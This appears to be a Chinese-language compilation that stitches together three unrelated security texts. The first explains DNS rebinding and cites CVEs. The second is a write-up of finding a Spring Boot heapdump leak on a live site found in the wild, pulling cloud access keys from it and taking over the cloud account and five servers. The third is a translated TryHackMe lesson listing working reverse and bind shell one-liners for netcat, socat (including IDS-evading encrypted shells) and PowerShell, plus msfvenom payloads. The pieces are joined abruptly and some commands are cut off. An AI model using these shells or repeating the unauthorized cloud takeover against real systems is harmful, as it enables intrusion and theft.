# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 192.168.32.10
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 127.0.0.1
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 127.0.0.1
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 192.168.32.10
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 127.0.0.1
由此就达到了一个DNS 重绑定的效果。
0x03 攻击机制
攻击者无法控制名称服务器的载体,所有解析主机名(或 IP 地址,仍然是有效主机名)的请求都被重定向到由攻击者控制和操作的备用名称服务器。例如,如果我们有一个网址为 www.example-a.com 的网站,并且我们想要访问私有内部域邮件服务器或只能通过该特定私有 IP 地址访问的其他服务,则可以使用 DNS 重新绑定攻击来伪造这些地址之一。
0x04 攻击示例
攻击者注册一个域名,例如 IP 地址为 1.3.5.7 的 www.evil.com,将其委托给自己的 DNS 服务器(1.3.5.4),并使用钓鱼链接或电子邮件获取 HTTP 流量。
DNS 服务器没有发送正常的 TTL 记录,而是发送了一个非常短的 TTL 记录(例如,1 秒),防止条目 [www.evil.com, 1.3.5.7] 的 DNS 响应被缓存在受害者的(192.168.1.10 ) 浏览器。
对手的服务器首先用包含服务器 IP 地址 (1.3.5.7) 的JavaScript 等恶意脚本响应受害者。
对手使用 XMLHttpRequest (XHR) 将 HTTP 请求或 HTTPS 请求直接发送到对手的服务器并加载响应。
恶意脚本允许对手将主机名重新绑定到防火墙后面的目标服务器的 IP 地址 (192.168.1.2)。
然后服务器响应对手的真实目标,即与受害者(192.168.1.10)同域的内部主机IP(192.168.1.2)。
由于同一个名称解析为这两个 IP 地址,浏览器会将这两个 IP 地址(1.3.5.7 和 192.168.1.2)置于同一安全区域并允许信息在地址之间流动。
此外,攻击者可以通过发送多个短期IP地址来实现扫描和访问受害者本地网络(192.168.XX)中的所有内部主机。
0x05 攻击危害
DNS Rebinding可以通过让受害者的Web浏览器访问专用IP地址的机器并将结果返回给攻击者来破坏专用网络。 它也可以用于使用受害者机器发送垃圾邮件,分布式拒绝服务攻击(DDOS)或其他恶意活动,也就是我们常听说的肉机和僵尸机。
0x04-1 通过 DNS 重新绑定攻击进行网络渗透测试:
在某些情况下,用户会被诱骗使用这些网(例如,私人电子邮件服务器)创建网络钓鱼网站。由于发送到被劫持 URL 的所有流量现在都被发送回原始服务器,因此它变得完全混乱并迫使用户安装网络钓鱼页面。 以此来达到获取用户信息或者是用户权限的作用。
0x06 将DNS Rebinding应用到实际漏洞挖掘
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4096漏洞描述:1.8.2 之前的 GitHub 存储库 appsmithorg/appsmith 中的服务器端请求伪造 (SSRF)
复现链接:https://infosecwriteups.com/ssrf-via-dns-rebinding-cve-2022-4096-b7bf75928bb2
CVE-2023-26492
漏洞描述:Directus 是用于管理 SQL 数据库内容的实时 API 和应用程序仪表板。当从远程 Web 服务器导入文件(POST 到 /files/import)时,Directus 容易受到服务器端请求伪造 (SSRF) 的攻击。攻击者可以通过执行 DNS 重新绑定攻击并查看来自内部服务器的敏感数据或执行本地端口扫描来绕过安全控制。攻击者可以利用此漏洞访问高度敏感的内部服务器并窃取敏感信息。此问题已在版本 9.23.0 中修复。
CVE链接:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26492
CVE-2022-43548
漏洞描述:由于 IsAllowedHost 检查不充分,Node.js 版本 <14.21.1、<16.18.1、<18.12.1、<19.0.1 中存在操作系统命令注入漏洞,该漏洞很容易被绕过,因为 IsIPAddress 没有正确检查 IP在发出允许重新绑定攻击的 DBS 请求之前地址无效。https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32212 中针对此问题的修复不完整,这个新的 CVE 是为了完成修复。
CVE链接:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43548
针对CVE-2022-43548和CVE-2023-26492后续会有完整的复现过程文章,期待一下~
从spring boot泄露到接管云服务器平台
0x1前言
在打野的时候意外发现了一个站点存在springboot信息泄露,之前就有看到一些文章可以直接rce啥的,今天刚好试试。通过敏感信息发现存在accesskey泄露,就想直接通过解密,获取敏感信息,接管云平台。
首先说下这个漏洞的产生。主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置。我们是可以通过访问/v2/api-docs和/swagger-ui.html去验证是否存在的。
0x2漏洞利用
本次我们想获取/actuator/env里面的明文信息,那么有三种方法可以获取。
第一种:通过/jolokia接口获取明文
利用条件:
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)
第二种:通过/env接口发送明文到你vps上
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在spring-boot-starter-actuator依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
第三种:和第二种差不多,只是方式不一样
通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
目标可以请求攻击者的服务器(请求可出外网)
第四种:通过/heapdump下载到本地解密
1、可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口
而我这边采用第四种方法去获取。先下载一个heapdump文件。
其实我看了好多篇文章,使用jvisualvm.exe尝试去解开heapdump,但是都无法正常获取,可能也是我操作有问题,后续使用EclipseMemory Analyzer,完美解决。
使用Eclipse Memory Analyzer去查询对应的字段:
select * from java.util.LinkedHashMap $Entry x WHERE (toString(x.key).contains("accessKeySecret"))
注意:这边默认是不支持模糊查询的,必须字段完全匹配才能查询到字段。如仅输入accessKey是查询不到accessKeySecret的字段值的。
0x3接管云平台
成功获取accessKeySecret和accessKeyId后,接下来我们就可以使用cf进行接管云平台了。
链接:https://github.com/teamssix/cf
使用cf config配置accessKeySecret和accessKeyId:
配置完直接一键接管:cf alibaba console
这边会生成地址和账号密码,拿去登录即可获取云平台账号权限:
这边可以看到,他是有5台服务器实例的,直接获取5台服务器权限。
0x4结尾
其实我之前不只尝试了第四种,而是被迫使用第四种方式获取明文信息。尝试前面三种,都是以500报错结束,具体也不知道是什么原因,有大佬知道的可以教一下。
本文其实只是想让大家了解一下一些漏洞和一些信息泄露的用法,其实很多东西都是没有含金量的,说破不值钱。自己最近接触了很多刚开始学习安全的人,都不知道从何入手。对于刚刚开始学习的人,个人建议可以多看看漏洞原理和别人的文章,从中吸取经验和渗透思路,很多实力其实都是经验累积出来的。可能有时候看到别人文章,会觉得就是一帆风顺的,很简单,但是其实很多人只是没把自己走了多少弯路,踩了多少坑说出来罢了。本人也只是刚开始摸索的小白,本身学习是学无止境的,纯靠兴趣去驱动。
Privilege Escalation 权限提升
第 1 章 前言
这是 tryhackme 渗透测试章节的最后一个房间。原本想谷歌机翻然后我手工看一下,但是感觉这样练习不了英文,所以全部手工翻译,实在翻不出来再交给谷歌。手工翻译不免存在勘误,建议英文好的读者朋友们直接去阅览原文。
第 2 章 shell
权限提升,简称提权。在讲提权之前,先说说常见的 shell 以及它们的加固。
2.1 shell 是什么?
在我们深入了解发送和接收 shell 的复杂性之前,理解 shell 是什么很重要。
简单来说,shell 就是我们与命令行环境 (CLI) 交互时使用的工具。例如,Linux 中常见的 bash 或 sh 程序都是 shell 的示例。Windows 中的 cmd.exe 和 Powershell 也是如此。
有时我们可在目标机上进行 RCE,在这种情况下我们希望利用此漏洞来获取在目标机的 shell。
简单来说,我们可以强制远程机器向我们发送对其的命令行访问(reverse shell),或是我们主动连接到该机器上并获得该机器的 shell。
reverse shell 就是反向/反弹 shell 的意思bind shell 就是正向 shell
2.2 工具篇
我们将使用多种工具来接收 reverse shell 和发送 bind shell。
通常我们需要恶意的 shell code 以及和生成的 shell 交互的方法。我们可通过以下几个工具实现这一点:
1. Netcat:
Netcat 号称网络的 “瑞士军刀” 。它用于执行各种网络交互,包括在枚举期间抓取 banner 等。
然而对于我们来说更重要的是它可以用于接收反弹 shell 或者连接到目标机上的 bind shell 的远程端口。
注:默认情况下,Netcat shell 非常不稳定(容易丢失),所以后文会介绍改进的技术。
2. Socat:
Socat 就像 steroids(英文原意是类固醇) 上的 netcat。它可以做所有相同的事情,甚至更多。 Socat shell 通常比 netcat shell 更稳定,从这个意义上说它远远优于 netcat。然而 socat 相比于 netcat 有以下两个问题:
Socat 语法比 Netcat 难
Socat 普及性不如 Netcat。默认情况下,几乎每个 Linux 发行版都安装了 Netcat。但它们默认情况下很少安装 Socat。
这两个问题都有解决方法,我们将在后面介绍。
Socat 和 Netcat 都有用于 Windows 的 .exe 版本。
3. Metasploit -- multi/handler:
注意,以下有效载荷、有效负载等指的是 payload 的意思。
Metasploit 框架的 auxiliary/multi/handler 模块与 socat 和 netcat 一样,提供了用于接收反弹 shell 的功能。由于是 Metasploit 框架的一部分,所以 multi/handler 提供了一种成熟的方式来获取稳定的 shell,并提供了多种进一步的选项来改进捕获到的 shell。它也是与 meterpreter shell 交互的唯一方式,也是处理 staged payload (分阶段 payload?)的最简单方式。
4. Msfvenom:
与 multi/handler 一样,msfvenom 在技术上是 Metasploit 框架的一部分,但是,它作为独立工具提供。 Msfvenom 用于动态生成 payload 。虽然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但这不是本文的重点。
Msfvenom 是一个非常强大的工具,因此我们将在专门的任务中更详细地介绍它。
除了我们已经介绍过的工具之外,还有许多不同语言的一些 shell 存储库。其中最突出的一个是 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md。 此外,PentestMonkey https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sh
除了这些在线资源,Kali Linux 还预装了位于 /usr/share/webshells 的各种 webshell。 https://github.com/danielmiessler/SecLists 虽然主要用于单词列表,但也包含一些用于获取 shell 的非常有用的代码。
2.3 Shell 的类型
我们主要对两种 shell 感兴趣:Reverse shell 和 bind shell。
Reverse shell(反弹/向 shell) 是指目标被迫连接到您的计算机。在您自己的计算机上,您可以使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。
反向 shell 是绕过防火墙规则的好方法,因为防火墙规则可能会阻止您连接到目标上的任意端口。
反向 shell 的缺点是当通过 Internet 从一台机器接收 shell 时,您需要配置自己的网络以便接受它。(最经典的例子就是使用阿里的云服务器接收反弹的 shell 时要修改安全组规则)
bind shell(正向 shell) 是指在目标上执行代码时,我们直接让其打开一个附加到 shell 上的监听器(即端口)。端口将会向互联网开放,这意味着您可以连接到代码打开的端口并以这种方式获得 RCE 的能力。这具有不需要在您自己的网络上进行任何配置的优点,但可能会被保护目标的防火墙阻止。
一般情况下,反向 shell 更容易执行和调试。以下会给出反弹 shell 和 正向 shell 的示例,请注意它们间的区别。
Reverse Shell 的例子:
让我们从更常见的反向 shell 开始。以下图为例,在左侧我们有一个反向 shell 侦听器——这是接收连接的地方。右侧是发送反向 shell 的模拟(实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成)把左边的图片想象成你自己的电脑,把右边的图片想象成目标。
在攻击机器上:sudo nc -lvnp 443
在目标机器上:nc <攻击机的ip> <攻击机的端口> -e /bin/bash
请注意,在运行右侧的命令后,侦听器会收到一个连接。当运行 whoami 命令时,我们看到我们正在以目标用户的身份执行命令。这里重要的是我们正在攻击机上监听,并收到了来自目标的连接。
nc 的 -e 选项表示在连接成功后要执行的程序,这里表示连接成功之后把自己的 bash 发送到另一端
bind shell 的例子:
bind shell 不太常见,但仍然非常有用。 以下图为例,在左侧同样是攻击者的计算机,而右侧依然是我们的模拟目标。但是为了稍微调整一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器——这次我们告诉它连接完毕后执行 cmd.exe。然后,在侦听器启动并运行的情况下,我们从自己的机器连接到新打开的端口。
在目标机上:nc -lvnp <port> -e "cmd.exe" 在攻击机上:nc <目标机ip> <port>
如您所见,这再次让我们在目标机上执行代码。请注意,这并非特定于 Windows。 这里要理解的重要一点是目标在监听特定端口,然后我们主动连接到目标的这个端口。
与此任务相关的最后一个概念是交互性。shell 可以是交互式的,也可以是非交互式的。
交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,那么您将习惯于交互式 shell。交互式的 shell 允许您在执行程序后与程序进行交互。例如,采用 SSH 登录的提示:
在这里您可以看到它以交互方式询问用户键入 yes 或 no 以继续连接。这是一个交互式程序,需要交互式 shell 才能运行。
非交互式 shell 不会给你那种 “奢侈” 。在非交互式 shell 中,您只能使用不需要用户交互即可正常运行的程序。不幸的是,大多数简单的反向 shell 和正向 shell 都是非交互式的,这会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行 SSH 时会发生什么:
请注意,whoami 命令(非交互式)执行地很好,但 ssh 命令(交互式)根本没有给我们任何输出。
注:交互式命令的输出确实会出现在某个地方,但是,弄清楚在哪里是您自己尝试的练习。可以说交互式程序在非交互式 shell 中不起作用。 此外, 上图的 listener 命令是用于演示的攻击机独有的别名,是 sudo rlwrap nc -lvnp 443 命令的简写方式,将在后续任务中介绍。除非已在本地配置别名,否则它将无法在任何其他计算机上运行。
回答下列问题:
哪种类型的 shell 会回连到您计算机上的侦听端口,反向 (R) 或绑定 (B)?
您已将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗? (是或否)
使用 bind shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器?
2.4 Netcat
如前所述,Netcat 是渗透测试人员工具包中最基本的工具之一,涉及任何类型的网络。有了它,我们可以做各种各样有趣的事情,但现在让我们关注和 netcat 相关的 shell。
++Reverse Shells++
在前面的任务中,我们看到反弹 shell 需要 shellcode 和一个侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。
使用 Linux 启动 netcat 侦听器的语法如下:
nc -lvnp <端口号>
-l 用于告诉 netcat 这将是一个监听器
-v 用于请求详细输出
-n 告诉 netcat 不解析主机名及DNS,在此不过多阐述。
-p 表示要监听的端口。
上一个任务中的示例使用 443 端口。实际上,您可以使用任何您喜欢的端口,只要还没有服务使用它即可。
请注意,如果您选择使用小于 1024 的端口,则在启动侦听器时需要加上 sudo。
使用众所周知的端口号(80、443 或 53 是不错的选择)通常是个好主意,因为这更有可能通过目标上的出站防火墙规则。 比如以下命令在 443 端口上打开一个侦听器:
sudo nc -lvnp 443
然后,我们可以使用任意数量的 payload 连接到以上侦听器,具体取决于目标上的环境。
++Bind Shells++
如果我们希望在目标上获得 bind shell,那么我们可以假设已经有一个侦听器在目标的特定端口上等待我们,我们需要做的就是连接到它。其语法相对简单:
nc <目标IP> <目标上的特定端口>
在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。
2.5 加固 Netcat shell
在得到一个 Netcat shell 之后,我们首先应该做什么?
答案是加固我们得到的 shell!
默认情况下,这些 shell 非常不稳定。例如按 Ctrl + C 会断开 shell。
此外它们还是非交互式的,并且经常有奇怪的格式错误。这是因为 netcat shell 实际上是在终端内运行的进程,而不是真正的终端本身。
幸运的是,有很多方法可以稳定 Linux 系统上的 netcat shell。下文我们将介绍三个加固 netcat shell 的方法。
注:Windows 反弹 shell 的加固往往很困难。好在我们下文介绍的第二种技术对此特别有用。
技术 1:Python
我们要讨论的第一种技术仅适用于 Linux 机器,因为它们几乎总是默认安装 Python。该技术有三个操作步骤:
首先要做的是在目标机的 shell 上(无论是反向的还是正向的)执行如下命令
python -c 'import pty;pty.spawn("/bin/bash")
它使用 Python 生成功能更好的 bash shell。请注意,某些目标可能需要指定 Python 版本。如果是这种情况,请根据需要将 “python” 替换为 “python2” 或 “python3”。
命令执行完毕后我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 键进行自动补齐,并且 Ctrl + C 仍会终止 shell。
第二步是在目标机的 shell 上执行 export TERM=xterm 命令。这将使我们能够访问诸如 clear 之类的术语命令。
最后也是最重要的一步,使用 Ctrl + Z 挂起目标的 shell 回到我们的终端并输入以下命令:
stty raw -echo;fg
以上命令做了两件事情:
它关闭了我们的终端回显(这允许我们可以使用 tab 自动补齐以及在 shell 内部输入 Ctrl + C 终止进程)。
回到目标机的 shell 上从而完成整个加固 shell 的过程。
下图是一个完整的示例:
注意到如果 shell 断开了,那么你的终端上的任意输入都将不可见(因为之前我们禁用了终端回显)。不过我们可以输入 reset 命令修复这一点。
技术 2:rlwrap
rlwrap 是一个程序,简单来说,它能让我们在收到 shell 后就立即拥有访问历史记录、tab 键自动补齐等功能。但是,如果您希望能够在 shell 中使用 Ctrl + C,则还需进行一些操作。
Kali 默认没有安装 rlwrap,所以首先使用 sudo apt install rlwrap 安装它。
使用 rlwrap 开启一个侦听器的语法很简单,仅需要在 nc 命令的前面加上 rlwrap 即可。
rlwrap nc -lvnp <监听的端口>
在我们的 netcat 侦听器前面加上 “rlwrap” 可以为我们提供一个功能更齐全的 shell。
这种技术在处理 Windows shell 时特别有用。(众所周知 Windows shell 很不稳定)。在处理 Linux 目标时,可以使用上述讲到的技术来加固 shell:
使用 Ctrl + Z 挂起 shell
使用如下命令加固 shell 并重新进入。
stty raw -echo;fg
技术 3:Socat
第三种稳定 shell 的方法是以 Netcat shell 为基础,得到一个更加稳定的 Socat shell。
请记住,此技术仅限于 Linux 目标。因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。
为了实现这种稳定方法,我们首先需要将一个 https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true(一个编译为没有依赖关系的程序版本)传输到目标机器。
如何上传文件到目标机器?
一般的方法是在存放 socat 二进制文件的目录下开启一个 web 服务器(在攻击机器上),然后让目标机访问该 web 服务器并下载 socat 文件即可。
如果安装了 python,可以使用以下命令开启一个 web 服务器:
sudo python3 -m http.server 80
若是 python2 的话,则应输入以下命令:
sudo python -m SimpleHTTPServer
然后就可以在目标机器的 netcat shell 上下载文件了。
如果 Linux 系统,可以使用 curl 或 wget (wget <LOCAL-IP>/socat -O /tmp/socat) 来下载文件。
如果是 Windows 系统,可以使用 Powershell 完成相同的操作。比如使用 Invoke-WebRequest 或 webrequest 系统类,具体取决于安装的 Powershell 版本(Invoke-WebRequest -uri <LOCAL-IP>/socat .exe -outfile C:\\Windows\temp\socat.exe)。
更改终端 tty 大小
使用上述任何技术来改变你的终端 tty 大小是一件很有用的事情。这是您的终端在使用常规 shell 时会自动执行的操作。然而,如果您想使用类似文本编辑器的东西来覆盖屏幕上的所有内容,则必须在反向或正向 shell 中手动更改终端 tty 大小。
首先,在攻击机上打开终端运行 stty -a 命令,并记下输出中 rows 和 columns 的值:
接下来,在您的 reverse / bind shell 中,键入: stty raws <number1> 和 stty cols <number2> 命令number1、number2 填写您在自己的终端中运行命令获得的数字(上图分别是 45 和 118)。 这将改变终端的注册宽度和高度,从而使得文本编辑器等依赖此类信息准确的程序正确打开。
回答以下问题:
您将如何将终端大小更改为 238 列?
在端口 80 上设置 Python3 网络服务器的语法是什么?
2.6 Socat
Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其作为两点之间的连接器。在这个房间内,这基本上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。 socat 所做的只是提供两点之间的链接——很像 Portal 游戏中的 portal gun!
我们再次以反向 shell 为例:
1. 反向 shell
如前所述,socat 的语法比 netcat 的语法难得多。
下面是 socat 中开启反向 shell 侦听器的语法:
socat TCP-L:<端口> -
与 netcat 一样,这需要两个点(监听的端口和标准输入)并将它们连接在一起。
生成的 shell 是不稳定的,但这将适用于 Linux 或 Windows,并且等效于 nc -lvnp <port>。
在 Windows 上,我们将使用以下命令连接上述侦听器:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
“pipes” 选项用于强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。 Linux 目标的等效命令如下:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind Shells
在 Linux 目标上,我们将使用以下命令:
socat TCP-L:<PORT> EXEC:"bash -li"
在 Windows 目标上,我们将为我们的侦听器使用此命令:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
我们使用 “pipes” 参数来连接 Unix 和 Windows 在 CLI 环境中处理输入和输出的方式。 无论目标是什么,我们都在我们的攻击机器上使用这个命令来连接到等待的监听器。
socat TCP:<TARGET-IP>:<TARGET-PORT> -
现在让我们来看看 Socat 的一个更强大的用途:一个完全稳定的 Linux tty 反向 shell。这仅在目标为 Linux 时有效,但要稳定得多。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法:
socat TCP-L:<port> FILE:`tty`,raw,echo=0
让我们把这条命令分解成两部分。像往常一样,我们将两点连接在一起。在这种情况下,这些点是一个监听端口和一个文件。具体来说,我们将当前 TTY 作为文件传递,并将 echo 设置为零。这大约相当于使用 netcat shell 时使用的 Ctrl + Z, stty raw -echo;fg 技巧
第一个侦听器可以连接到任何有效负载;但是,这个特殊的侦听器必须使用非常具体的 socat 命令来激活。这意味着目标必须安装 socat。然而大多数机器默认情况下没有安装 socat,但我们可以上传https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true 二进制文件到目标上,然后就可以正常执行。特殊命令如下:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
以上命令稍显复杂,所以让我们分解一下。 第一个部分很简单——我们要连接到我们自己机器上运行的侦听器。命令的第二部分使用 EXEC:"bash -li" 创建一个交互式 bash 会话。我们还传递参数:pty、stderr、sigint、setsid 和 sane:
pty 在目标上分配一个伪终端——稳定过程的一部分
stderr 确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
sigint 将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 中终止命令
setsid 在新会话中创建进程
sane 稳定终端,试图 “正常化” 它。
要接受的内容很多,所以让我们看看它的实际应用。
与往常一样,在左侧我们有一个在本地攻击机器上运行的侦听器,在右侧我们有一个受感染目标的模拟,使用非交互式 shell 运行。
使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上接收到一个完全交互式的 bash shell:
请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如 SSH。然后可以通过设置 stty 值来进一步改进,如上一个任务中所示,这将让我们使用 Vim 或 Nano 等文本编辑器。 如果在任何时候 socat shell 无法正常工作,那么通过在命令中添加 -d -d 来增加详细程度是非常值得的。这对于实验目的非常有用,但对于一般用途通常不是必需的。
回答以下问题:
我们如何让 socat 监听 TCP 端口 8080?
2.7 加密的 Socat Shells
socat 的众多优点之一是它能够创建加密的 shell —— 反向和正向 shell 都可加密。我们为什么要这样做?除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS。
我们在上一个任务中介绍了如何创建基本的 shell,因此这里不再介绍语法。一句话足以说明如何使用加密shell:将原命令中的 TCP 部分换成 OPENSSL 即可。我们将在任务结束时介绍几个示例,但首先让我们谈谈证书。
我们首先需要生成证书才能使用加密的 shell。这在我们的攻击机器上最容易做到:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,或随机填充。 然后我们需要将两个创建的文件合并到一个 .pem 文件中:
cat shell.key shell.crt > shell.pem
现在,当我们设置我们的反向 shell 侦听器时,我们使用:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0
这将使用我们生成的证书设置一个 OPENSSL 侦听器。 verify=0 告诉连接不要费心尝试验证我们的证书是否已由公认的权威机构正确签名。请注意,必须在正在侦听的任何设备上使用该证书。
要返回连接,我们将使用:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
相同的技术适用于 bind shell: 目标:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
攻击者:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0
再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要为 bind shell 复制 PEM 文件。 下图显示了来自 Linux 目标的 OPENSSL 反向 shell。和往常一样,目标在右边,攻击者在左边:
这种技术也适用于上一个任务中介绍的特殊的、仅限 Linux 的 TTY shell —— 弄清楚它的语法将是这个任务的挑战。如果您正在努力获得答案,请随意使用 Linux 练习盒(可部署在房间的尽头)进行实验。
回答以下问题:
使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和一个名为“encrypt.pem”的 PEM 文件
socat OPENSSL-LISTEN:<53>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
如果您的 IP 是 10.10.10.5,您将使用什么语法连接回此侦听器?
socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
2.8 常用的 Shell Payloads
有效负载表示 payload 的意思
我们很快就会考虑使用 msfvenom 生成有效负载,但在此之前,让我们使用我们已经介绍过的工具看一下一些常见的有效负载。
之前的任务提到我们将研究使用 netcat 作为 bind shell 侦听器的一些方法,因此我们将从它开始。在某些版本的 netcat 中(包括 Kali 位于 /usr/share/windows-resources/binaries 处的 nc.exe Windows 版本,以及 Kali 自身所用的版本:netcat-traditional)有一个 -e 选项,它允许您在连接上执行一个程序。例如一个监听器:nc -lvnp <端口> -e /bin/bash
使用 netcat 连接到上述侦听器将在目标上生成一个 bind shell。 同样,对于反向 shell,使用 nc <LOCAL-IP> <PORT> -e /bin/bash 回连将导致目标上的反向 shell。
然而,这并没有包含在大多数版本的 netcat 中,因为它被广泛认为是非常不安全的(这很有趣,是吧?)。在几乎总是需要静态二进制文件的 Windows 上,此技术将非常有效。然而,在 Linux 上,我们将改为用此代码创建一个 bind shell 侦听器:
mkfifo /tmp/f; nc -lvnp <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f
以下段落是对该命令的技术解释。它略高于这个房间的高度,所以如果你现在看不懂也没关系——命令本身才是最重要的。 该命令首先在 /tmp/f 中创建https://www.linuxjournal.com/article/2156。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。 netcat 侦听器的输出(即我们发送的命令)然后直接通过管道传输到 sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入,从而完成循环。
可以使用一个非常相似的命令来发送 netcat 反向 shell:
mkfifo /tmp/f; nc <本地IP> <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f
除了使用 netcat connect 语法而不是 netcat listen 语法之外,此命令实际上与前一个命令相同。
以现代 Windows Server 为目标时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。 这个命令比较复杂,这里为了简单起见就不直接说明了。然而,它是一种非常有用的单行线,可以随身携带:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $
为了使用它,我们需要用适当的 IP 和端口选择替换“<IP>”和“<port>”。然后可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的另一种方法,例如 webshell)并执行,从而产生反向 shell:
对于其他常见的反向 shell payload,https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md 是一个存储库,其中包含多种不同语言的 shell 代码(通常是用于复制和粘贴的单行格式)。阅读链接页面以查看可用内容非常值得。 回答以下问题:
在 Linux 中可以使用什么命令来创建命名管道?
查看链接的 Payloads all Things Reverse Shell Cheatsheet 并熟悉可用的语言。
2.9 msfvenom
Msfvenom:所有和 payload 相关事物的一站式商店
作为 Metasploit 框架的一部分,msfvenom 主要用于生成反向 shell 和正向 shell。同时 msfvenom 也广泛用于低水平的 exploit 开发,比如在开发一些用于缓冲区溢出的 expolit 时生成十六进制 shellcode。 然而,msfvenom 也可以用于 生成多种格式的 payloads,比如 .exe、.apsx、.war、.py 等。
以下简单地介绍一下 msfvenom:
msfvenom 的标准语法如下:msfvenom -p <PAYLOAD> <OPTIONS>
例如,为了生成一个 exe 格式的 Windows x64 反向 shell,我们可以使用:msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
上述命令的四个选项含义如下:
-f <格式>指定输出格式,在案例中是 exe
-o <文件> 生成的 payload 的路径和文件名
LHOST=<IP>指定要回连的 IP
LPORT=<port>要回连的本地机器的端口,可以是 0 到 65535 间的未使用的任意值。然而,使用小于 1024 的端口时要 root 权限
++Staged vs Stageless++
现在介绍两个新概念, staged 反向 shell payloads 和 stageless 反向 shell payloads。
Staged(分期的) paylodas 分为两部分发送。第一部分称为 stager。这是直接在服务器上执行的代码块,其会回连到一个处于等待状态的监听器,但它本身实际上不包含任意的反向 shell code。那 shell code在哪里呢?当 stager 连接到监听器时,其会使用连接来加载真正的 payload 并直接执行它,同时会预防 payload 接触硬盘,因为传统的反病毒解决方案可能会捕捉到硬盘里的 payload。 所以 payload 被分为两个部分:一个小的、初始的 stager 以及 stager 被激活时下载的更庞大的反向 shell。 Staged paylodas 要
Stageless payloads 更加常见。Stageless payloads 是完全自包含的。Stagsless payloads 存在一个代码块,当我们执行它时,其会马上发回一个 shell 给等待中的监听器。
